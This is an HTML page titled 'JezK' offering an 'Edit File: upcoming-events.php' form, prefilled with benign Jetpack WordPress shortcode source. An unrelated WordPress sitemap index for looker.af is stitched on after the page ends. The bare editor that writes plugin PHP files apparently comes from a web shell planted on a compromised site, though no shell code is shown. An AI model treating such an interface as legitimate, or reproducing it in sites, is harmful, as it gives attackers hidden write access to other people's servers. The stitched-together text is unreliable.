
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: upcoming-events.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php // phpcs:ignore WordPress.Files.FileName.InvalidClassFileName

/**
 * Display a list of upcoming events from a calendar.
 *
 * @package automattic/jetpack
 */

/**
 * Register a upcomingevents shortcode.
 * Most of the heavy lifting done in iCalendarReader class,
 * where the icalendar_render_events() function controls the display.
 */
class Upcoming_Events_Shortcode {

	/**
	 * Register things.
	 */
	public static function init() {
		add_shortcode( &#039;upcomingevents&#039;, array( __CLASS__, &#039;shortcode&#039; ) );
	}

	/**
	 * Register the shortcode.
	 *
	 * @param array $atts Shortcode attributes.
	 */
	public static function shortcode( $atts = array() ) {
		require_once JETPACK__PLUGIN_DIR . &#039;/_inc/lib/icalendar-reader.php&#039;;
		$atts = shortcode_atts(
			array(
				&#039;url&#039;    =&gt; &#039;&#039;,
				&#039;number&#039; =&gt; 0,
			),
			$atts,
			&#039;upcomingevents&#039;
		);
		$args = array(
			&#039;context&#039; =&gt; &#039;shortcode&#039;,
			&#039;number&#039;  =&gt; absint( $atts[&#039;number&#039;] ),
		);

		if ( empty( $atts[&#039;url&#039;] ) ) {
			// If the current user can access the Appearance-&gt;Widgets page.
			if ( current_user_can( &#039;edit_theme_options&#039; ) ) {
				return sprintf( &#039;&lt;p&gt;%s&lt;/p&gt;&#039;, __( &#039;You must specify a URL to an iCalendar feed in the shortcode. This notice is only displayed to administrators.&#039;, &#039;jetpack&#039; ) );
			}
			return self::no_upcoming_event_text();
		}
		$events = icalendar_render_events( $atts[&#039;url&#039;], $args );

		if ( ! $events ) {
			$events = self::no_upcoming_event_text();
		}

		return $events;
	}

	/**
	 * Returns No Upcoming Event text.
	 */
	private static function no_upcoming_event_text() {
		return sprintf( &#039;&lt;p&gt;%s&lt;/p&gt;&#039;, __( &#039;No upcoming events&#039;, &#039;jetpack&#039; ) );
	}
}
add_action( &#039;plugins_loaded&#039;, array( &#039;Upcoming_Events_Shortcode&#039;, &#039;init&#039; ), 101 );
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
